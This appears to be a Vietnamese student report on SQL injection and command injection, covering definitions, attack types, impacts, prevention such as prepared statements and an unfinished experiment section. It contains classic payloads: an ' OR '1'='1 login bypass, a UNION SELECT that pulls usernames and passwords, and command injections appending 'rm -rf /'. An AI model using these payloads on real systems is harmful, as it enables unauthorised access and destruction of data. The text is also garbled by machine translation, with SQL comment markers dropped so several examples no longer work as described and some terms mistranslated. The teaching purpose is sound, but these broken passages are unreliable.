Nhất là nghiên cứu structured query language injection, command injection Tiêm ngôn ngữ truy vấn có cấu trúc, tiêm lệnh.Chúng ta phải tập trung vào việc phân tích các lỗ hổng phổ biến t
STRUCTURED QUERY LANGUAGE INJECTION VÀ COMMAND
Giới thiệu sơ lược về chèn ngôn ngữ truy vấn có cấu trúc, chèn lệnh
Chèn ngôn ngữ truy vấn có cấu trúc (SQL injection) và chèn lệnh (Command Injection) là hai kỹ thuật tấn công phổ biến trong bảo mật ứng dụng web, nhằm khai thác các lỗ hổng trong việc xử lý dữ liệu đầu vào của người dùng.
Hình 1: Sơ lược về chèn ngôn ngữ truy vấn có cấu trúc, chèn lệnh.
Khái niệm structured query language injection, command injection
SQL injection là một kỹ thuật mà kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu đầu vào của ứng dụng web để tiêm và thực thi các câu lệnh SQL bất hợp pháp Command Injection là một lỗ hổng bảo mật cho phép kẻ tấn công thực thi trái phép các lệnh trên ứng dụng web, thường dẫn đến việc đánh cắp mã nguồn, cấu hình và dữ liệu của hệ thống.
SQL injection là một lỗ hổng bảo mật xảy ra khi ứng dụng có một form đăng nhập với các trường nhập tên người dùng và mật khẩu Nếu hệ thống sử dụng một truy vấn SQL không an toàn để kiểm tra thông tin, kẻ tấn công có thể chèn mã độc vào truy vấn, dẫn đến việc truy cập trái phép vào cơ sở dữ liệu.
SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input';
Nếu hệ thống không kiểm tra kỹ lưỡng đầu vào từ người dùng, kẻ tấn công có thể chèn mã SQL độc hại như sau:
Câu lệnh SQL trở thành:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
Với điều kiện '1'='1' luôn đúng, hệ thống sẽ bỏ qua việc kiểm tra mật khẩu, cho phép kẻ tấn công đăng nhập mà không cần mật khẩu
- Các hình thức của SQL Injection
In-band SQLi: Kẻ tấn công có thể thu thập dữ liệu từ truy vấn SQL ngay lập tức
Inferential SQLi là một phương thức tấn công mà kẻ tấn công không nhận được kết quả ngay lập tức Thay vào đó, họ dựa vào các phản hồi hoặc sự thiếu phản hồi từ ứng dụng để suy luận về cấu trúc của cơ sở dữ liệu.
SQLi ngoài băng: Kẻ tấn công sử dụng các kênh khác như email hoặc FTP để thu thập dữ liệu khi không thể lấy kết quả trực tiếp qua HTTP.
Truy cập và rò rỉ dữ liệu nhạy cảm từ cơ sở dữ liệu
Thực thi các câu lệnh độc hại, có thể dẫn đến việc thay đổi hoặc xóa dữ liệu
Cung cấp quyền truy cập trái phép vào hệ thống và các tài khoản người dùng
Ví dụ về tấn công Command Injection: Ứng dụng sử dụng lệnh cat trên hệ thống Unix để hiển thị nội dung của tệp: cat user_input
Kẻ tấn công có thể nhập vào dữ liệu như sau: file.txt; rm -rf /
- Câu lệnh sẽ trở thành: cat file.txt; rm -rf /
Lệnh rm -rf / sẽ xóa toàn bộ hệ thống, gây ra thiệt hại nghiêm trọng
- Các hình thức của Command Injection:
Lệnh đơn: Chèn một lệnh đơn để thực thi trên hệ thống
Chuỗi lệnh: Kết hợp nhiều lệnh để thực thi một chuỗi các hành động độc hại
Remote Command Injection: Kẻ tấn công có thể chèn lệnh để thực thi các thao tác từ xa trên máy chủ
- Ảnh hưởng của Command Injection:
Cho phép kẻ tấn công điều khiển hệ thống từ xa
Làm hỏng dữ liệu hoặc tệp hệ thống
Cài đặt hoặc chạy phần mềm độc hại
Xóa hoặc thay đổi dữ liệu trên máy chủ
Hình 2: Tiêm chèn ngôn ngữ truy vấn có cấu trúc, chèn lệnh
1.2.1 Tầm quan trọng của việc structured query language injection và command injection:
Structured Query Language (SQL) injection và command injection là mối đe dọa nghiêm trọng không chỉ với các chuyên gia bảo mật mà còn với các nhà phát triển phần mềm, vì chúng có thể dẫn đến rò rỉ dữ liệu nhạy cảm, tổn thất tài chính và uy tín, cũng như các vấn đề pháp lý Để phòng ngừa các cuộc tấn công này, cần áp dụng các phương pháp lập trình an toàn như kiểm tra và xác thực đầu vào, sử dụng công cụ bảo mật phù hợp và thường xuyên cập nhật hệ thống phần mềm Những biện pháp này không chỉ bảo vệ ứng dụng web mà còn xây dựng niềm tin và uy tín với người dùng.
Hình 3: Tầm quan trọng chèn ngôn ngữ truy vấn cấu trúc và chèn lệnh
1.2.2 Mục tiêu nghiên cứu về structured query language injection và command injection:
- Mục tiêu nghiên cứu về structured query language injection:
Phát hiện và ngăn chặn các cuộc tấn công SQL injection là rất quan trọng để bảo vệ ứng dụng web Cần tăng cường bảo mật ứng dụng bằng cách thiết kế và phát triển các giải pháp bảo mật mạnh mẽ nhằm giảm thiểu rủi ro Phân tích lỗ hổng hệ thống giúp xác định các điểm yếu trong mã nguồn có thể bị khai thác Nghiên cứu các kỹ thuật tấn công mới giúp hiểu rõ hơn về cách thức hacker thực hiện SQL injection, từ đó phát triển biện pháp phòng ngừa hiệu quả Ứng dụng trí tuệ nhân tạo và học máy có thể tự động phát hiện và ngăn chặn các cuộc tấn công này Cuối cùng, nâng cao nhận thức cộng đồng thông qua tài liệu và chương trình đào tạo sẽ giúp các nhà phát triển và quản trị viên hiểu rõ hơn về SQL injection và cách phòng tránh.
Command injection là lỗ hổng trong ứng dụng web cho phép kẻ tấn công thực hiện lệnh trái phép thông qua dữ liệu đầu vào của người dùng Để ngăn chặn các cuộc tấn công này, cần xây dựng các biện pháp bảo vệ và công cụ hiệu quả Phân tích kỹ thuật tấn công giúp hiểu rõ các chiến thuật mà kẻ tấn công có thể sử dụng Việc tăng cường bảo mật trong phát triển phần mềm là rất quan trọng, bao gồm kiểm tra đầu vào và áp dụng các phương pháp cài đặt an toàn Nghiên cứu các phương pháp phát hiện lệnh tiêm, như công nghệ học máy và phân tích tĩnh, có thể nâng cao khả năng phát hiện Đánh giá mức độ ảnh hưởng của các cuộc tấn công command injection và đưa ra giải pháp khắc phục là cần thiết Cuối cùng, nâng cao nhận thức cộng đồng thông qua tài liệu và chương trình đào tạo sẽ giúp lập trình viên và quản trị viên hiểu rõ hơn về command injection và cách phòng ngừa.
1.2.3 Tại sao phải tìm hiểu structured query language injection và command injection:
- Tại sao phải tìm hiểu structured query language injection:
Bảo vệ cảm biến dữ liệu cơ sở biến là biện pháp quan trọng để ngăn chặn các cuộc tấn công SQL injection, thường được sử dụng để truy cập trái phép vào cơ sở dữ liệu chứa thông tin nhạy cảm như tên, mật khẩu và chi tiết tài chính Việc này không chỉ giúp bảo vệ thông tin mà còn giảm thiểu rủi ro vi phạm bảo mật Hơn nữa, việc ngăn chặn các cuộc tấn công SQL injection có thể giúp doanh nghiệp tiết kiệm chi phí tài chính đáng kể, bao gồm chi phí khôi phục dữ liệu và bảo vệ uy tín thương hiệu.
Tuân thủ luật bảo vệ dữ liệu là rất quan trọng, vì việc không bảo vệ thông tin khỏi các cuộc tấn công như structured query language injection có thể dẫn đến hậu quả pháp lý nghiêm trọng Khi hệ thống được bảo vệ khỏi loại tấn công này, người dùng sẽ cảm thấy yên tâm hơn khi cung cấp thông tin cho tổ chức hoặc doanh nghiệp Việc nghiên cứu và ngăn chặn structured query language injection, một trong những lỗ hổng phổ biến nhất mà hacker khai thác, giúp giảm thiểu nguy cơ tấn công hiệu quả.
Hỗ trợ phát triển phần mềm an toàn thông qua việc hiểu rõ về lỗ hổng SQL injection giúp lập trình viên xây dựng các ứng dụng khó bị tấn công, từ đó tạo ra sản phẩm bảo mật hiệu quả hơn.
Command injection là một kiểu tấn công nguy hiểm, cho phép kẻ xấu thực hiện các lệnh độc hại trên máy chủ, từ đó có thể đánh cắp, phá hủy dữ liệu hoặc kiểm soát toàn bộ hệ thống Việc bảo vệ hệ thống và dữ liệu nguyên vẹn trước các lệnh Insert là rất quan trọng để ngăn chặn những rủi ro này.
Cuộc tấn công này có thể gây ra hậu quả nghiêm trọng, bao gồm gián đoạn dịch vụ và mất uy tín cho doanh nghiệp hoặc tổ chức, thậm chí dẫn đến tổn hại tài chính Để đảm bảo an ninh cho người dùng cuối, việc phòng tránh lỗi này không chỉ bảo vệ tổ chức mà còn phải đảm bảo rằng dữ liệu và quyền riêng tư của người dùng không bị xâm phạm.
Nâng cao nhận thức về mã hóa hạn lọ tìm hiểu command tiêm giúp nhà phát triển thực hành các kỹ thuật mã hóa an toàn, đồng thời xác định giới hạn trong việc lọc và xác thực đầu vào của người dùng Để đáp ứng yêu cầu pháp lý và tiêu chuẩn bảo mật trong các lĩnh vực như tài chính và y tế, việc đảm bảo rằng hệ thống không dễ bị tấn công là một yêu cầu pháp lý bắt buộc.
Hacker luôn phát triển các phương pháp tấn công mới, vì vậy việc nghiên cứu command Insert là rất quan trọng Điều này giúp các chuyên gia bảo mật chuẩn bị tốt hơn để đối phó với các xu hướng tấn công mới.
1.2.4 Dấu hiệu nhận biết khi gặp lỗi structured query language injection và command Insert:
- Gặp lỗi structured query language injection thì:
Thông báo lỗi không bình thường từ cơ sở dữ liệu, chẳng hạn như “Lỗi cú pháp SQL” hoặc “cấu trúc truy vấn không được nhận dạng”, có thể xuất hiện khi xảy ra tấn công thử chèn SQL mã hóa.
Cơ chế tấn công của structured query language injection, command injection
Tính năng chèn ngôn ngữ truy vấn có cấu trúc (SQL) và tính năng chèn lệnh là hai kỹ thuật tấn công phổ biến, nhằm khai thác lỗ hổng bảo mật trong ứng dụng web Dưới đây là cơ chế hoạt động của từng loại tấn công.
Tiêm SQL injection xảy ra khi người dùng không kiểm tra và xử lý dữ liệu đầu vào một cách đúng đắn trước khi thực hiện lệnh SQL.
Kẻ lạ nhân cơ hội đó sẽ tấn công có thể chèn các lệnh structured query language injection độc hại để :
Access left permission vào vào cơ sở dữ liệu
Thay đổi hoặc xóa cảm biến dữ liệu
Kiểm soát toàn bộ cơ sở dữ liệu có thể vượt qua các cơ chế bảo mật như xác thực và phân quyền Ví dụ: Nếu một ứng dụng sử dụng lệnh SQL như sau:
SELECT * FROM users WHERE username = '$username' AND password '$password';
Kẻ tấn công có thể nhập dữ liệu như:
' OR '1'='1 Điều này làm cho câu lệnh SQL luôn đúng, cho phép truy cập trái phép
Command Insert khai thác mỏ trong công việc xử lý dữ liệu đầu vào để thực thi hệ thống lệnh
Kẻ tấn công có thể:
Thực hiện hệ thống lệnh không mong muốn
Truy cập hoặc kiểm soát máy chủ
Ví dụ : If a application use command as after ping $user_input
Kẻ tấn công có thể nhập:
; rm -rf / Điều này có thể gây ra hậu quả nghiêm trọng như xóa toàn bộ dữ liệu trên máy chủ
Cả hai loại tấn công đều có thể được ngăn chặn bằng cách:
- Kiểm tra và làm sạch dữ liệu đầu vào
Sử dụng các công cụ bảo mật như Câu lệnh đã chuẩn bị hoặc Truy vấn được tham số hóa
Hình 6: Cơ chế tấn công chèn ngôn ngữ truy vấn cấu trúc và chèn lệnh
Tác hại của structured query language injection, command injection
Lộ dữ liệu nhạy cảm ruty cập và rò rỉ thông tin như mật khẩu, số thẻ tín dụng, và các thông tin cá nhân quan trọng
Xóa hoặc thay đổi dữ liệu kẻ tấn công có thể chỉnh sửa, xóa hoặc thay đổi thông tin trong cơ sở dữ liệu
Chiếm quyền kiểm soát hệ thống lợi dụng các quyền truy cập cơ sở dữ liệu để chiếm quyền truy cập hệ thống
Khi kẻ tấn công chiếm quyền kiểm soát hệ thống, chúng có khả năng thực thi các lệnh để thay đổi hoặc xóa tệp, cài đặt phần mềm độc hại, và thậm chí chiếm quyền điều khiển toàn bộ hệ thống.
Kẻ tấn công có thể lợi dụng lệnh để truy cập vào các tệp nhạy cảm, từ đó đánh cắp thông tin hệ thống và dữ liệu quan trọng.
Tấn công từ xa command injection có thể cho phép tấn công từ xa, giúp kẻ tấn công điều khiển hệ thống mà không cần tiếp xúc vật lý.
Phòng ngừa structured query language injection, command injection
- Cách phòng ngừa structured query language injection:
Sử dụng Prepared Statements đảm bảo rằng câu lệnh SQL được chuẩn hóa và dữ liệu người dùng không thể thay đổi cấu trúc câu lệnh
Kiểm tra và lọc dữ liệu đầu vào đảm bảo rằng dữ liệu đầu vào được kiểm tra kỹ lưỡng trước khi được sử dụng trong câu truy vấn
Sử dụng ORM (Object Relational Mapping) các framework ORM có thể giúp tránh SQL Injection bằng cách sử dụng các phương thức truy vấn an toàn
Giới hạn quyền truy cập vào cơ sở dữ liệu là rất quan trọng; tài khoản cơ sở dữ liệu không nên có quyền truy cập cao nhất (root) Cần hạn chế quyền truy cập chỉ cho phép các hoạt động cần thiết để đảm bảo an toàn và bảo mật cho hệ thống.
Cách phòng ngừa command injection:
Lọc và kiểm tra đầu vào kiểm tra đầu vào người dùng để đảm bảo không có ký tự đặc biệt hoặc lệnh hệ thống được tiêm vào
Hệ thống các ứng dụng cần giới hạn quyền thực thi các lệnh hệ thống, chỉ nên thực hiện các lệnh với quyền hạn thấp để đảm bảo an toàn và bảo mật.
Để bảo đảm an toàn cho ứng dụng, hãy sử dụng các API an toàn khi thực thi lệnh hệ thống thay vì gọi trực tiếp các lệnh shell Đồng thời, áp dụng các biện pháp bảo mật như SELinux hoặc AppArmor để bảo vệ hệ thống khỏi các cuộc tấn công từ bên ngoài.
Các dạng structured query language injection, command injection
- Các dạng dạng structured query language injection phổ biến nhất:
Classic SQL Injection: Lợi dụng các form đầu vào để chèn lệnh SQL
Blind SQL Injection là một loại tấn công mà kẻ tấn công không nhận được thông tin phản hồi từ hệ thống Tuy nhiên, họ vẫn có thể thao tác và đoán dữ liệu thông qua các câu hỏi dạng yes/no.
Time-based Blind SQL Injection là một loại tấn công SQL Injection, trong đó kẻ tấn công khai thác các lệnh SQL để tạo ra độ trễ trong phản hồi của hệ thống, từ đó có thể suy luận thông tin về dữ liệu.
Hình 7: Nhũng hình thức tấn công chèn ngôn ngữ truy vấn cấu trúc và chèn lệnh
- Các dạng dạng command injection phổ biến nhất:
Unix/Linux Command Injection: Lợi dụng các lệnh shell như ls, rm, cat, grep và các lệnh tương tự
Windows Command Injection: Lợi dụng các lệnh hệ thống như dir, del, hoặc echo
Tấn công OS Command Injection qua các ứng dụng web xảy ra khi kẻ tấn công lợi dụng các chức năng như tải tệp, tìm kiếm hoặc các biểu mẫu web để chèn mã lệnh độc hại vào các lệnh hệ thống.
Hình 8: Các dạng tiêm chèn ngôn ngữ truy vấn cấu trúc và chèn lệnh
LÝ THUYẾT CHUYÊN SÂU VỀ STRUCTURED QUERY
Định nghĩa về lý thuyết của structured query language injection, command injection
SQL injection (SQLi) là một kỹ thuật tấn công cho phép kẻ tấn công chèn mã SQL vào các truy vấn hợp pháp mà ứng dụng web thực thi Kỹ thuật này chủ yếu nhằm thao túng các truy vấn SQL bằng cách chèn lệnh SQL độc hại vào đầu vào của người dùng, từ đó giúp kẻ tấn công truy xuất, sửa đổi hoặc xóa dữ liệu trong cơ sở dữ liệu mà không cần sự cho phép của quản trị viên hệ thống.
Hình 9: Định nghĩa về lý thuyết chèn ngôn ngữ truy vấn cấu trúc
Command Injection là một kỹ thuật tấn công cho phép kẻ tấn công tiêm lệnh hệ thống vào các câu lệnh shell mà ứng dụng web thực thi Các ứng dụng thường sử dụng lệnh shell để thực hiện các thao tác trên máy chủ, nhưng nếu không kiểm tra và xử lý đầu vào một cách cẩn thận, kẻ tấn công có thể chèn lệnh độc hại, từ đó chiếm quyền điều khiển hệ thống.
Hình 10: Định nghĩa về lý thuyết chèn lệnh.
2.1.1 Thông tin tóm tắt về SQL injection và command injection:
SQL, hay ngôn ngữ truy vấn có cấu trúc, là ngôn ngữ lập trình tiêu chuẩn mạnh mẽ dùng để quản lý cơ sở dữ liệu quan hệ Nó là công cụ thiết yếu trong công nghệ thông tin, cho phép người dùng truy xuất, cập nhật, chèn và xóa dữ liệu, cũng như điều chỉnh cấu trúc cơ sở dữ liệu Bài viết này khám phá các khía cạnh của SQL, bao gồm các loại, tính năng chính, cách sử dụng, thách thức, so sánh, triển vọng tương lai và sự kết hợp của nó với các máy chủ proxy.
Tấn công chèn lệnh là một phương thức mà kẻ tấn công thực thi các lệnh tùy ý trên hệ điều hành máy chủ thông qua ứng dụng dễ bị tấn công, thường xảy ra khi ứng dụng xử lý dữ liệu không an toàn từ người dùng Các lệnh này được thực thi với đặc quyền của ứng dụng, chủ yếu do xác thực đầu vào không đầy đủ Khác với Code Insert, nơi kẻ tấn công thêm mã của riêng mình mà không cần thực thi lệnh hệ thống, chèn lệnh cho phép thực hiện các hành vi xấu, gây ra lỗi cho máy chủ, đánh cắp thông tin, hoặc thậm chí chiếm quyền quản lý máy chủ Việc tiêm lệnh vào ứng dụng là một lỗi bảo mật nghiêm trọng cần được khắc phục.
2.1.2 Thông tin chi tiết về SQL injection và command injection:
SQL, được phát triển bởi IBM vào những năm 1970, là công cụ chính để truy cập và thao tác dữ liệu trong các hệ thống quản lý cơ sở dữ liệu quan hệ (RDBMS).
SQL-92 là một trong những phiên bản SQL phổ biến nhất, nổi bật với tính linh hoạt và dễ sử dụng Nó hoạt động dựa trên nguyên tắc sử dụng các câu lệnh khai báo để mô tả dữ liệu cần truy xuất hoặc thao tác, thay vì chỉ định cách thực hiện Lớp trừu tượng này giúp người dùng tập trung vào “cái gì” thay vì “làm thế nào”, tạo điều kiện cho cả người mới và chuyên gia dễ dàng tiếp cận.
Sự ảnh hưởng của SQL injection và command injection
Ảnh hưởng của Structured query language injection:
Rò rỉ thông tin nhạy cảm có thể xảy ra khi kẻ tấn công truy xuất dữ liệu từ cơ sở dữ liệu, dẫn đến nguy cơ lộ thông tin quan trọng Ngoài ra, kẻ tấn công còn có khả năng xóa, thay đổi hoặc chèn dữ liệu không mong muốn, gây ra mất mát và biến đổi thông tin trong cơ sở dữ liệu.
Chiếm quyền kiểm soát hệ thống có thể xảy ra khi ứng dụng có quyền truy cập cao, cho phép kẻ tấn công thực thi các câu lệnh nguy hiểm, thay đổi quyền hạn hoặc kiểm soát toàn bộ hệ thống Hệ quả của việc tiêm lệnh (command injection) có thể rất nghiêm trọng.
Chiếm quyền điều khiển hệ thống: Kẻ tấn công có thể thực thi các lệnh shell nguy hiểm, làm hỏng hệ thống
Mất mát dữ liệu: Các lệnh shell độc hại có thể xóa dữ liệu hoặc làm gián đoạn các dịch vụ hệ thống
Truy cập trái phép vào hệ thống có thể xảy ra khi kẻ tấn công thực hiện thành công một cuộc tấn công SQL injection, dẫn đến việc truy xuất thông tin nhạy cảm như mật khẩu, chi tiết thẻ tín dụng và thông tin cá nhân của người dùng Những cuộc tấn công này đã gây ra nhiều vụ vi phạm dữ liệu nghiêm trọng, ảnh hưởng đến uy tín và dẫn đến các khoản phạt theo quy định Kẻ tấn công có thể tạo ra một cửa hậu trong hệ thống, gây ra sự xâm phạm lâu dài mà có thể không được phát hiện Việc phát hiện SQL injection có thể thực hiện thủ công thông qua các bài kiểm tra hệ thống tại mọi điểm vào của ứng dụng, thường bằng cách gửi ký tự dấu nháy đơn và tìm kiếm lỗi hoặc bất thường Các điều kiện Boolean và tải trọng được thiết kế để kích hoạt độ trễ thời gian cũng có thể được sử dụng để phát hiện lỗ hổng Burp Scanner là một công cụ hữu ích để nhanh chóng tìm ra các lỗ hổng SQL injection, thường xảy ra trong mệnh đề WHERE của truy vấn SELECT, nhưng cũng có thể xuất hiện ở bất kỳ vị trí nào trong truy vấn, bao gồm cả các câu lệnh UPDATE.
+ Trong INSERTcác câu lệnh, bên trong các giá trị được chèn vào
+ Trong SELECTcác câu lệnh, bên trong tên bảng hoặc cột
+ Trong SELECTcác câu lệnh, trong ORDER BYmệnh đề
Ví dụ về tiêm SQL
SQL injection là một lỗ hổng bảo mật phổ biến, xảy ra trong nhiều tình huống khác nhau, dẫn đến các cuộc tấn công nghiêm trọng Một số ví dụ điển hình về kỹ thuật SQL injection bao gồm việc truy cập trái phép vào cơ sở dữ liệu và rò rỉ thông tin nhạy cảm.
Truy xuất dữ liệu ẩn nơi bạn có thể sửa đổi truy vấn SQL để trả về kết quả bổ sung
Phá hoại dữ liệu nơi bạn có thể thay đổi truy vấn để can thiệp vào logic của ứng dụng
Tấn công union nơi bạn có thể lấy dữ liệu từ các bảng cơ sở dữ liệu khác nhau
Tiêm SQLtrong đó kết quả của truy vấn bạn kiểm soát không được trả về trong phản hồi của ứng dụng
Trong một ứng dụng mua sắm, người dùng có thể chọn các danh mục sản phẩm khác nhau Khi họ nhấp vào danh mục "Quà tặng", trình duyệt sẽ gửi yêu cầu đến URL: https://insecure-website.com/products?category=Gifts Yêu cầu này kích hoạt ứng dụng thực hiện truy vấn SQL để truy xuất thông tin chi tiết về các sản phẩm liên quan từ cơ sở dữ liệu.
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Truy vấn SQL này yêu cầu cơ sở dữ liệu trả về: tất cả các chi tiết ( *) từ productsbảng nơi categorylàGifts và releasedlà 1
Hạn chế này cho phép ẩn các sản phẩm chưa được phát hành bằng cách sử dụng giá trị `released = 1` Đối với các sản phẩm chưa được phát hành, giá trị này có thể được coi là `released = 0` Ứng dụng không có biện pháp bảo vệ chống lại các cuộc tấn công SQL injection, cho phép kẻ tấn công thực hiện các truy vấn độc hại như: `https://insecure-website.com/products?category=Gifts' `.
SELECT * FROM products WHERE category = 'Gifts' ' AND released = 1
- Chú ý rằng dấu " " trong SQL là chỉ báo chú thích, làm cho phần còn lại của truy vấn bị bỏ qua. - Điều này có nghĩa là truy vấn không còn điều kiện AND released = 1, dẫn đến việc hiển thị tất cả sản phẩm, bao gồm cả những sản phẩm chưa phát hành.- Một cuộc tấn công tương tự có thể được sử dụng để hiển thị tất cả sản phẩm trong bất kỳ danh mục nào, kể cả những danh mục không được biết đến, ví dụ như truy vấn SQL: `https://insecure-website.com/products?category=Gifts'+OR+1=1 `.
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 ' AND released = 1
Truy vấn đã sửa đổi trả về tất cả các mục có giá trị là category, Giftshoặc 1bằng 1 Như 1=1luôn đúng, truy vấn trả về tất cả các mục
Lật đổ logic ứng dụng
Một ứng dụng cho phép người dùng đăng nhập bằng tên người dùng và mật khẩu Khi người dùng nhập tên người dùng "wiener" và mật khẩu "bluecheese", ứng dụng sẽ xác thực thông tin bằng cách thực hiện một truy vấn SQL.
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
Nếu truy vấn trả về thông tin chi tiết của người dùng thì đăng nhập thành công Nếu không, đăng nhập sẽ bị từ chối
Kẻ tấn công có thể đăng nhập vào hệ thống với tư cách là bất kỳ người dùng nào mà không cần mật khẩu bằng cách sử dụng chuỗi chú thích SQL để xóa kiểm tra mật khẩu khỏi mệnh đề WHERE của truy vấn Ví dụ, khi gửi tên người dùng "administrator' " và để mật khẩu trống, truy vấn sẽ được thực hiện mà không cần xác thực.
The SQL query retrieves the username 'administrator' and successfully logs the attacker into that user account.
Lấy dữ liệu từ các bảng cơ sở dữ liệu khác
Khi ứng dụng phản hồi với kết quả từ truy vấn SQL, kẻ tấn công có thể khai thác lỗ hổng SQL injection để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu Bằng cách sử dụng từ khóa UNION, kẻ tấn công có thể thực hiện các truy vấn SELECT bổ sung và kết hợp kết quả với truy vấn gốc.
Ví dụ, nếu một ứng dụng thực hiện truy vấn sau có chứa thông tin đầu vào của người dùng Gifts:
SELECT name, description FROM products WHERE category = 'Gifts'
Kẻ tấn công có thể gửi thông tin đầu vào:
' UNION SELECT username, password FROM users—
Lỗ hổng tiêm SQL mù
Nhiều trường hợp tiêm SQL có thể dẫn đến lỗ hổng ẩn, nơi ứng dụng không cung cấp kết quả truy vấn SQL hoặc thông tin về lỗi cơ sở dữ liệu trong phản hồi Mặc dù lỗ hổng ẩn có thể bị khai thác để truy cập dữ liệu trái phép, nhưng các kỹ thuật khai thác thường phức tạp và khó thực hiện hơn.
Các kỹ thuật sau đây có thể được áp dụng để khai thác lỗ hổng tiêm SQL mù, tùy thuộc vào bản chất của lỗ hổng và loại cơ sở dữ liệu liên quan.
Bạn có thể điều chỉnh logic của truy vấn để tạo ra sự khác biệt trong phản hồi của ứng dụng, dựa vào tính chính xác của một điều kiện duy nhất Điều này có thể bao gồm việc thêm một điều kiện mới vào logic Boolean hoặc kích hoạt một lỗi có điều kiện, chẳng hạn như chia cho số không.
Bạn có thể kích hoạt điều kiện thời gian trễ trong quá trình xử lý truy vấn, cho phép suy ra sự thật của điều kiện dựa trên thời gian phản hồi của ứng dụng.
So sánh structured query language injection, command injection: 37 2.4 Quan điểm công nghệ trong tương lai SQL injection và command injection: 37
Tiêu chí SQL Injection Command Injection
Mục đích Khai thác cơ sở dữ liệu và thao tác với dữ liệu
Thực thi các lệnh hệ thống trên máy chủ Đối tượng bị tấn công
Cơ sở dữ liệu của ứng dụng (MySQL, PostgreSQL, MSSQL, )
Hệ thống điều hành của máy chủ (Unix, Linux, Windows)
Kỹ thuật Chèn các câu lệnh SQL vào dữ liệu đầu vào của người dùng
Chèn các lệnh hệ thống vào các lệnh được thực thi bởi ứng dụng
Hậu quả Lộ hoặc xóa dữ liệu, chiếm quyền kiểm soát cơ sở dữ liệu
Chiếm quyền điều khiển hệ thống, thay đổi hoặc xóa tệp tin
Sử dụng prepared statements, kiểm tra đầu vào người dùng
Kiểm tra và lọc đầu vào, sử dụng các quyền hạn hệ thống hạn chế
2.4 Quan điểm công nghệ trong tương lai SQL injection và command injection:
SQL đang phát triển mạnh mẽ nhờ vào những tiến bộ công nghệ, với các xu hướng và công nghệ định hình tương lai của nó Việc tích hợp dữ liệu lớn ngày càng trở nên phổ biến, khi SQL được sử dụng kết hợp với các công nghệ như Apache Hadoop và Spark Hơn nữa, SQL cũng đóng vai trò quan trọng trong việc quản lý và phân tích dữ liệu cho các ứng dụng trí tuệ nhân tạo (AI) và học máy.
Cơ sở dữ liệu không có máy chủ đang ngày càng trở nên phổ biến nhờ vào sự phát triển của điện toán không máy chủ, giúp cho các cơ sở dữ liệu SQL trở nên linh hoạt và tiết kiệm chi phí hơn.
Command Tiêm sẽ tiếp tục đóng vai trò quan trọng trong bảo mật khi công nghệ phát triển Tự động hóa trong việc phát hiện lỗ hổng sẽ được cải tiến, với sự hỗ trợ của trí tuệ nhân tạo (AI) và học máy (Machine Learning) để ngăn chặn các lỗ hổng AI sẽ phân tích hành vi bất thường và đưa ra cảnh báo sớm Các tổ chức sẽ áp dụng tiêu chuẩn bảo mật nghiêm ngặt hơn, yêu cầu kiểm tra và xác thực đầu vào chặt chẽ Các framework phát triển phần mềm sẽ tích hợp các biện pháp phòng chống như Command Tiêm Công nghệ sandbox sẽ được sử dụng để giảm thiểu tác hại từ các lệnh độc hại Giáo dục và nâng cao nhận thức về bảo mật cho các nhà phát triển phần mềm và nhân viên sẽ được chú trọng Công nghệ bảo mật tiên tiến như điện toán lượng tử sẽ cung cấp giải pháp mã hóa mạnh mẽ hơn, trong khi tường lửa ứng dụng web (WAF) sẽ ngày càng thông minh hơn Cuối cùng, sự hợp tác quốc tế sẽ giúp xây dựng các quy định và tiêu chuẩn bảo mật an toàn, giảm thiểu rủi ro từ các lỗ hổng bảo mật.
THỰC NGHIỆM
Mục tiêu thực nghiệm
Thực nghiệm giúp hiểu rõ cách thức tấn công SQL Injection và Command Injection trong môi trường an toàn, từ đó phát triển các biện pháp phòng ngừa hiệu quả Thí nghiệm cũng làm nổi bật sự khác biệt và nguy cơ tiềm tàng của từng kiểu tấn công.
Mục tiêu của SQL Insert
Kẻ tấn công thực hiện truy cập trái phép vào dữ liệu nhằm mục đích xem thông tin nhạy cảm, bao gồm mật khẩu, thông tin cá nhân và dữ liệu kinh doanh.
Thay đổi hoặc xóa dữ liệuthông tin : Thực hiện chỉnh sửa hoặc xóa dữ liệu, gây mất mát thông tin quan trọng
Vượt qua cơ chế xác thực cho phép tấn công đăng nhập mà không cần mật khẩu hợp lệ Kẻ tấn công có thể kiểm soát hệ thống T thông qua quyền truy cập cơ sở dữ liệu và khai thác thêm các lỗ hổng.
Mục tiêu của Command Insert
Thực thi hệ thống lệnh nguy hiểm : Kẻ tấn công có thể chạy các lệnh để kiểm tra Điều khiển máy chủ hoặc hệ thống
Tăng quyền truy cập : Từ một tài khoản bị giới hạn, kẻ tấn công có thể đạt được quyền root hoặc admin
Dịch vụ ngắt đoạn hỏng bao gồm việc xóa tệp, làm hỏng hệ thống hoặc chặn truy cập nhằm gây tổn hại Trong khi đó, truy cập cảm biến dữ liệu cho phép thu thập thông tin từ hệ thống để sử dụng hoặc bán.
Yêu cầu và thiết lập môi trường
SQL Injection là một lỗ hổng bảo mật xảy ra khi ứng dụng kết nối với cơ sở dữ liệu và sử dụng các lệnh SQL được tạo ra từ dữ liệu đầu vào của người dùng.
Thiếu kiểm tra hoặc làm sạch dữ liệu đầu vào
Quyền truy cập vào đầu vào giao diện có thể là một trường dữ liệu (như dạng đăng nhập , tìm kiếm) hoặc URL
Việc không áp dụng các biện pháp bảo vệ hiện đại như câu lệnh đã chuẩn bị sẵn, truy vấn tham số hóa, hoặc ORM (Ánh xạ quan hệ đối tượng) có thể dẫn đến những rủi ro bảo mật nghiêm trọng.
Kẻ tấn công hiểu cơ sở dữ liệu cấu hình bằng cách tìm kiếm thông báo lỗi hoặc mẹo từ ứng dụng Đối với Command Insert:
Hệ thống thực thi lệnh đầu vào từ người dùng ví dụ: chạy shell lệnh hoặc hệ điều hành dựa trên đầu vào thông tin
Không có cơ chế lọc hoặc giới hạn đầu vào dữ liệu, dẫn đến việc thiếu kiểm tra đầu vào và không xử lý đúng các ký tự đặc biệt như `,`, `;`, `&`, `|`.
Quyền truy cập vào giao diện hoặc chấp nhận đầu vào API có thể thông qua một mẫu , URL hoặc điểm cuối API mà ứng dụng xử lý
